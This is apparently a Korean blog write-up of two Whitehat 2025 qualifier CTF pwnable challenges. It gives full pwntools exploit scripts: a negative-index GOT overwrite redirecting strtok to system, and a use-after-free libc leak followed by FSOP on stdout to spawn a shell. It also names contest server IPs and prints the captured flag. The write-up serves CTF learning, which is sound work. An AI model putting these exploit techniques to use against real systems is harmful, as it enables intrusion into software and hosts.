[Whitehat 2025 Quals] Pwnable WriteUp

chk_pass·2025년 10월 18일

비록 시험이 모레지만 깔짝해봤다..
생각보다 재밌었던거같다.
오랜만에 정석 포너블 느낌...
시험기간이라 라업이 자세하진않을 예정


Search And Attack

먼저 서버 주소를 구해야한다.

악성코드파일이랑 서버에서 실행되는 파일 2개를 준다.
서버는 c코드까지 준다.



악성프로그램을 먼저 확인해서 서버 주소를 찾아야 한다.

sub_114D0 에서 c&c 서버의 ip 주소를 동적으로 생성함.
그 부분에 브포를 걸고 동적으로 확인하면 아래 사진 처럼 43.200.123.226이라는 주소값을 구할 수 있다.
아니면 sub_10F20함수 동적으로 확인해도됨


그 주소로 아래처럼 nc로 접속해보면 응답이 오는 것을 확인할 수 있다.

취약점: bots 배열에 접근하는 인덱스에 검증이 없어 음수로도 가능 + partial Relro



-1로 DETAIL기능을 이용하면 got를 이용해 libc leak가능

-1로 UPDATE기능을 이용하면 got overwrite가능
⇒ strtok의 got를 system으로 overwrite하고 다음에 "cat flag >&4\0”를 전송해 system("cat flag >&4\0”)이 실행되도록 한다.

*주의할점: 서버의 출력이 나한테 보이는 게 아니라서 그냥 cat flag나 /bin/sh를 실행한다고 내가 flag를 얻거나 쉘을 얻을 수 있는게 아님. 리버스쉘로 붙거나 fd를 리다이렉트해야함



<전체 익스 코드>

from pwn import *

context.log_level = "debug"

p = remote("43.200.123.226", 8080)
#p = remote("localhost", 8080)

#1. libc base 구하기========================================

p.sendline(b"DETAIL|-1")

for i in range(8):
    p.recvuntil(b"|")

libc_base = u64(p.recv(6)+b"\x00\x00") - 0x1395a0
log.info(hex(libc_base))

LIBC_SYSTEM_OFFSET =  0x58750 


BOTS_ARRAY_ADDR = 0x000000406160
STRTOK_GOT_ADDR = 0x0000004060d8 



def send_command(r, cmd_type, *args):
    payload = cmd_type
    for arg in args:
        payload += b"|" + arg
    
    r.sendline(payload)

system_libc_addr = libc_base + LIBC_SYSTEM_OFFSET
log.success(f"Calculated system@libc address: {hex(system_libc_addr)}")

# 2. strtok@GOT를 system주소로 overwrite =======================
log.info("Attempting to overwrite strtok@GOT...")


overwrite_payload = p64(libc_base+0x1395a0)+p64(0x12b960+libc_base) + p64(libc_base+0x9cbc0) + p64(libc_base+0x28a93)
overwrite_payload += p64(system_libc_addr)*3

# overwrite_payload가 ram_info 버퍼(64바이트) 내에 들어가는지 확인
if len(overwrite_payload) > 64:
    log.error("ram_info를 위한 덮어쓰기 페이로드가 너무 큽니다. 종료합니다.")
    p.close()
    exit()

# 다른 필드는 더미 데이터로 채웁니다.
hostname_filler = b""
username_filler = b""
public_ip_filler = b""
private_ip_filler = b""
os_info_filler = b""
cpu_info_filler = b""
disk_info_filler =b""

# UPDATE 명령어 인자 구성
# UPDATE|bot_id|hostname|username|public_ip|private_ip|os_info|cpu_info|ram_info|disk_info
update_cmd_args = [
    str(TARGET_BOT_ID).encode(),
    hostname_filler,
    username_filler,
    public_ip_filler,
    private_ip_filler,
    os_info_filler,
    cpu_info_filler,
    overwrite_payload, # ram_info가 덮어쓰기 대상
    disk_info_filler
]

log.info(f"strtok@GOT를 덮어쓰기 위한 UPDATE 명령어 전송 중...")

send_command(p, b"UPDATE", *update_cmd_args)
p.recvuntil(b"OK")

#3. system함수 실행하기 ===================

pause()

p.sendline(b"cat flag >&4\0")

p.interactive()



Sleeping C&C

바이너리 간단한 구조는 다음과 같다.

  • 전역변수로 bot_list존재 (5개짜리 void 배열)
  • bot_list에 들어있는 청크(0x20)의 구조 |ip청크주소|info청크주소|status정수값|
  • ip청크는 0x18, info 청크는 0x500바이트임

즉, 하나의 덩어리가 총 3개의 청크로 구성


취약점1: free한 청크의 내용을 초기화하지 않아 unsorted bin을 해제 및 재할당하고(0x500짜리 info 부분) 한바이트만 read시키고 출력하면 libc leak가능

취약점2: free한 다음 bot_list에서 해당 주소값을 없애지 않는다. 따라서 update를 이용해 해제된 청크에 접근이 가능하다.
⇒ 따라서 한 덩어리를 추가로 할당한 상태에서 또 해제, 그리고 send quick command로 0x20을 할당하고 원하는 주소값을 +8바이트에 넣기 (맨 첫 8바이트도 값을 쓰는데에 유효한 주소여야함. 해제된 덩어리에 대해서 임의의 |ip청크주소|info청크주소|를 구성하는 거임. 이 구조체도 0x20짜리라서 해제한다음 command를 만들면 원래 이 구조체였던 해제된 청크를 할당받을 수 있음)
=>이후 idx 0에 대해 update를 하면 info 넣을 차례에 내가 넣은 주소값에 대해서 read를 수행할 수 있다.(무려 0x500바이트나!!)



따라서 1을 이용해 libc leak하고 2를 이용해 stdout구조체에 fsop를 하면 된다.



<전체 익스 코드>

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

# 바이너리 실행
#p = process("./prob")
# 원격 서버에 연결
p = remote("16.184.27.225", 12345)
libc = ELF("./libc.so.6")

def add_slave(ip, info, status):
    p.sendlineafter(b">> ", b"1")
    p.sendlineafter(b": ", ip)
    p.sendlineafter(b": ", info)
    p.sendlineafter(b": ", str(status).encode())

def update_slave(idx, ip, info, status):
    p.sendlineafter(b">> ", b"2")
    p.sendlineafter(b": ", str(idx).encode())
    p.sendafter(b": ", ip)
    p.sendafter(b": ", info)
    p.sendlineafter(b": ", str(status).encode())

p.sendlineafter(b">> ", b"4")
p.sendlineafter(b">> ", b"5")

add_slave(b"10", b"", 0)

p.sendlineafter(b">> ", b"4")

p.recvuntil(b"(info : ")

#0x203b0a

#1. libc leak =======================================
#use after free와 unsorted bin을 이용한 libc leak. 
#한번 해제하고 할당시켜 한바이트만 입력하고 출력시키면 한바이트빼고는 이전에 들어간 libc 관련 값이 출력.
libc_base = u64(p.recv(6)+b"\x00\x00") - 0x203b0a 
log.info(hex(libc_base))

#2. fsop==========================================

'''일단 할당된 상태에서 다 해제. 그리고 send로 0x20을 할당. +원하는 주소값 넣어놓기
-> update로 그 idx에 대해서 쓰기 하면 내가 넣은 주소값에 대해서 update수행. '''

#-27
p.sendline(b"1")
p.sendlineafter(b": ", b"0")
p.sendlineafter(b": ", b"AA")
p.sendlineafter(b": ", str(0).encode())

p.sendlineafter(b">> ", b"4")
p.sendlineafter(b">> ", b"5")

p.sendlineafter(b">> ", b"3")
p.sendlineafter(b">> ", b"1")
pause()
p.sendafter(b":\n", p64(libc_base+0x2045c0)+p64(libc_base+0x2045c0))

libc.address = libc_base
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

_IO_file_jumps = libc.symbols['_IO_file_jumps']
stdout = libc.symbols['_IO_2_1_stdout_']
log.info("stdout: " + hex(stdout))
FSOP = FSOP_struct(flags = u64(b"\x01\x01;sh;\x00\x00"), \
        lock            = libc.symbols['_IO_2_1_stdout_'] + 0x10, \
        _IO_read_ptr    = 0x0, \
        _IO_write_base  = 0x0, \
        _wide_data      = libc.symbols['_IO_2_1_stdout_'] - 0x10, \
        _unused2        = p64(libc.symbols['system'])+ b"\x00"*4 + p64(libc.symbols['_IO_2_1_stdout_'] + 196 - 104), \
        vtable          = libc.symbols['_IO_wfile_jumps'] - 0x20, \
        )

#indx 0에 대해 update
update_slave(0, b"a", FSOP, 1)

p.interactive()
#whitehat2025{355f477ac132f7ae0deaa7ade74a77f2749875b1f605b0e2430fb6ba29d47ac279baab076df751816ae0fbe68cf72f6491af05bc437e5664b728}

0개의 댓글